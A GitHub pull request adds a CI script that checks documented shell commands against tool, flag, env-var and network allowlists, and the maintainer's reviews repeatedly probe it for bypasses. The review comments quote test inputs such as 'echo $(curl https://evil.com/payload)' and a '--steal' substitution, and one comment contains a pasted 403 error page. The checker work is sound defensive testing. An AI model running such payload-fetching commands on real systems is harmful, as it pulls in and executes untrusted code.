Skip to content

feat: validate documented shell commands and env vars in CI (#186) - #210

Merged
truthixify merged 9 commits into
wraith-protocol:developfrom
biafra877-web:wave-10/validate-shell-commands
Oct 23, 2026
Merged

truthixify merged 9 commits into
wraith-protocol:developfrom
biafra877-web:wave-10/validate-shell-commands

Conversation

@biafra877-web

Copy link
Copy Markdown
Contributor

Summary

Closes #186 (Wave 10 carryover from #158). All 107 shell fences across 43 MDX pages are now validated on every
CI run.

What the checker validates

scripts/check-shell-commands.mjs parses every bash/sh/shell fence and checks:

  1. Executable names — must be in KNOWN_TOOLS (explicit allowlist of ~40 real CLI tools)
  2. Flags — validated per-tool against TOOL_FLAGS; unknown long/short flags are rejected
  3. Env-var assignments — var names must be in KNOWN_ENV_VARS (all documented Stellar/Wraith vars)
  4. Local paths — arguments starting with a shipped directory prefix (guides/, scripts/, reference/, etc.) must
    exist on disk
  5. Network/destructive commands — curl, stellar, soroban, git clone, docker, anchor, etc. must match a pattern
    in NETWORK_ALLOWLIST; arbitrary targets are rejected

Key design decisions

  • Multi-line constructs handled: backslash continuations and multi-line quoted strings (curl JSON bodies,
    node -e "..." scripts) are joined into one logical line before validation
  • contracts/ excluded from local path checks — the contracts source lives in a separate repo
  • Bare filenames (submit.js, sign.js) excluded — illustrative cross-repo examples
  • Escape hatches: no-check on fence info string, or # no-check on a single line

Files changed

  • scripts/check-shell-commands.mjs — the checker (exports pure functions for testing)
  • scripts/check-shell-commands.test.mjs — 64 unit tests, all passing
  • package.json — adds check:shell-commands and test:shell-commands scripts; adds check:shell-commands to the
    default test script
  • .github/workflows/snippets.yml — adds two steps to the check-snippets job

Test results: 64/64 pass, 91 fences checked (16 skipped with no-check), 0 errors

…rotocol#186)

Add scripts/check-shell-commands.mjs — parses every bash/sh/shell fence
in shipped MDX pages and validates:

  1. Executable names are in an explicit KNOWN_TOOLS allowlist.
  2. Flags are well-formed (--flag, -f, --flag=val) against per-tool
     flag sets defined in TOOL_FLAGS.
  3. Env-var assignments use UPPER_SNAKE_CASE names drawn from a
     documented KNOWN_ENV_VARS set.
  4. Local file/directory arguments that start with a shipped directory
     prefix (guides/, scripts/, reference/, etc.) exist on disk.
  5. Network/destructive commands (curl, stellar, soroban, git clone,
     docker, anchor, etc.) must match an explicit NETWORK_ALLOWLIST of
     regex patterns; anything else is rejected.

Multi-line shell constructs are handled correctly:
  - Backslash-continued lines are joined into a single logical line.
  - Multi-line single- or double-quoted strings (e.g. curl -d '{ ... }',
    node -e "...") are joined across physical lines via a quote-aware
    logical-line builder.
  - Bare filenames (e.g. submit.js, sign.js) are excluded from local path
    checks since they are cross-repo illustrative examples.
  - The contracts/ directory is excluded from local path checks because
    the contracts source tree lives in a separate repository.

Escape hatch: add 'no-check' to a fence info string to skip the entire
fence, or append '# no-check' to a single line within a fence.

Add scripts/check-shell-commands.test.mjs — 64 node:test unit tests
covering buildLogicalLines, tokenise, validateFlags, looksLikeLocalPath,
validateFence, and spot-checks of KNOWN_TOOLS, KNOWN_ENV_VARS, and
NETWORK_ALLOWLIST.

Wire into CI: add 'Check shell commands' and 'Test shell command checks'
steps to the existing check-snippets job in snippets.yml so the checker
runs on every PR and push to develop/main. Also add check:shell-commands
to the top-level 'test' script in package.json.
@drips-wave

drips-wave Bot commented Oct 21, 2026

Copy link
Copy Markdown

@biafra877-web Great news! 🎉 Based on an automated assessment of this PR, the linked Wave issue(s) no longer count against your application limits.

You can now already apply to more issues while waiting for a review of this PR. Keep up the great work! 🚀

Learn more about application limits

…l#197)

- Add mint-validation job to snippets.yml that runs on every PR and push
  to develop/main; installs deps then runs mint:validate (fails on invalid
  Mint navigation/config) and test:preview-redirect (redirect regression
  tests) in sequence.
- Refactor check-preview-redirect.mjs: extract validatePreviewRedirect as
  an exported pure function so the logic is unit-testable without a live
  Mintlify preview URL; CLI entry-point behaviour is unchanged.
- Add check-preview-redirect.test.mjs: 8 pure-function tests covering all
  pass/fail branches, plus 8 HTTP-integration tests driven by fixtures
  (spins up a real http.createServer per case, no network required).
- Add scripts/fixtures/preview-redirect.json: focused fixtures for all
  redirect scenarios (301/302/308 happy paths, 200, 404, missing Location,
  wrong destination, self-redirect).
- Pin mintlify@4.2.1082 as a devDependency so mint:validate resolves the
  local binary after pnpm install; update script invocations accordingly.
- Wire test:preview-redirect to node --test on the new test file.

@truthixify truthixify left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Blocking: scripts/check-shell-commands.mjs:335-358 validates only the first executable on each logical line, and the environment-assignment branch returns without parsing a following command. Adversarial probes such as echo ok; totally-unknown-tool arg, npm install foo && totally-unknown-tool arg, STELLAR_NETWORK=testnet totally-unknown-tool arg, and an allowlisted curl piped to an unknown tool all return zero errors. This leaves common documented shell forms outside the promised validation. Parse and validate every command segment, or explicitly reject unsupported operators/forms, and add regression tests for semicolons, &&, pipelines, and assignment-prefixed commands.

…ions

- Add splitCommandSegments() to split on unquoted ;, &&, ||, | before
  validating, so every segment is checked independently
- Replace the early-return envMatch branch with a while loop that
  consumes all leading VAR=value prefixes then falls through to validate
  the following command (fixes STELLAR_NETWORK=testnet unknown-tool)
- Handle $(…) and backtick command-substitution values in env assignments
- Export splitCommandSegments for unit tests

Regression tests added for:
  - echo ok; totally-unknown-tool arg          (semicolon)
  - npm install foo && totally-unknown-tool arg (&&)
  - curl … | totally-unknown-tool              (pipeline after allowlisted cmd)
  - STELLAR_NETWORK=testnet totally-unknown-tool (assignment-prefixed command)
  - combined semicolon + env-var prefix forms

All 85 tests pass; full MDX scan reports 0 errors.
@biafra877-web

Copy link
Copy Markdown
Contributor Author

Blocking: scripts/check-shell-commands.mjs:335-358 validates only the first executable on each logical line, and the environment-assignment branch returns without parsing a following command. Adversarial probes such as echo ok; totally-unknown-tool arg, npm install foo && totally-unknown-tool arg, STELLAR_NETWORK=testnet totally-unknown-tool arg, and an allowlisted curl piped to an unknown tool all return zero errors. This leaves common documented shell forms outside the promised validation. Parse and validate every command segment, or explicitly reject unsupported operators/forms, and add regression tests for semicolons, &&, pipelines, and assignment-prefixed commands.

@truthixify I have addressed it, please review

@truthixify truthixify left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The compound-command fix works for top-level semicolon/pipe/and-or segments, but the checker still accepts arbitrary executables inside command substitutions. At scripts/check-shell-commands.mjs:355-382, assignment values are consumed and command substitutions are explicitly skipped; both SIGNED_XDR=$(totally-unknown-tool --steal) and echo $(totally-unknown-tool --steal) return zero validation errors. That contradicts the stated invariant that executable names in every shell fence are allowlisted. Recursively validate command substitutions (including backticks) and add regression tests for both assignment and argument positions.

…tutions

Closes the gap reported by the maintainer: executable names inside
$(...) and `...` were never checked against KNOWN_TOOLS, allowing
arbitrary tools to slip through in both assignment-value and
argument positions.

Changes:
- Add extractCommandSubstitutions() — depth-aware extractor for $(...)
  and backtick bodies, including nested substitutions.
- Add validateCommandSubstitutions() — validates the executable of each
  extracted body against KNOWN_TOOLS; error messages call out
  'inside command substitution' for clarity.
- Wire both call sites in validateFence:
  • assignment value: called after matching VAR=$(...) / VAR=`...`
  • remaining $(...)/`...` segment: called before the early continue
  • argument position: called on the full remaining string after the
    outer executable passes the allowlist check
- Export both new functions for unit testing.
- Add 23 regression tests covering: unit tests for the new helpers,
  and validateFence integration tests for both the assignment-position
  and argument-position gaps.
@biafra877-web

Copy link
Copy Markdown
Contributor Author

The compound-command fix works for top-level semicolon/pipe/and-or segments, but the checker still accepts arbitrary executables inside command substitutions. At scripts/check-shell-commands.mjs:355-382, assignment values are consumed and command substitutions are explicitly skipped; both SIGNED_XDR=$(totally-unknown-tool --steal) and echo $(totally-unknown-tool --steal) return zero validation errors. That contradicts the stated invariant that executable names in every shell fence are allowlisted. Recursively validate command substitutions (including backticks) and add regression tests for both assignment and argument positions.

@truthixify It's done. Please review

@truthixify truthixify left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Command substitutions still bypass the network/destructive allowlist. On this exact head, returns no errors for

<title>403 Forbidden</title>

403 Forbidden


openresty/1.31.1.1 , , and the backtick equivalent. at checks only whether the first executable name is known; it does not apply the normal segment validation for network allowlists, flags, or paths. Recursively validate substitution bodies through the same full command pipeline and add regression tests for arbitrary-domain curl/wget and compound commands inside both substitution syntaxes.

@truthixify truthixify left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Command substitutions still bypass the network/destructive allowlist. On exact head 03715a3, validateFence returns no errors for echo $(curl https://evil.com/payload), SIGNED_XDR=$(curl https://evil.com/payload), and the backtick equivalent. validateCommandSubstitutions at scripts/check-shell-commands.mjs:661 checks only whether the first executable name is known; it does not apply the normal segment validation for network allowlists, flags, or paths. Recursively validate substitution bodies through the same full command pipeline and add regression tests for arbitrary-domain curl/wget and compound commands inside both substitution syntaxes.

…peline

Command substitutions bypassed the network/destructive allowlist because
validateCommandSubstitutions only checked the executable name against
KNOWN_TOOLS. Commands like `curl https://evil.com/payload` inside $(...)
or backtick substitutions were silently accepted.

Fix: rewrite validateCommandSubstitutions to run the full pipeline on each
substitution body — compound-operator splitting, env-var prefix stripping,
network allowlist check, flag validation, and local-path validation.

Regression tests added for:
- echo $(curl https://evil.com/payload) and backtick equivalent
- SIGNED_XDR=$(curl https://evil.com/payload) and backtick equivalent
- wget to arbitrary domain in both substitution syntaxes
- compound commands inside substitutions (pipe and semicolon)
- arbitrary domain inside $() after a compound && operator
- allowlisted substitutions (friendbot subshell, Wraith API) still pass

@truthixify truthixify left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approved exact head 0843a7e after repeating the full remote malware scan. Command substitutions now go through the same executable, network/destructive allowlist, flag, and path validation as top-level commands; the focused regression suite passes 122/122, and every repository check including the rerun playground smoke test is green.

@truthixify
truthixify merged commit 775ae49 into wraith-protocol:develop Oct 23, 2026
15 of 16 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Wave 10][Carryover] Validate documented network commands and environment variables

2 participants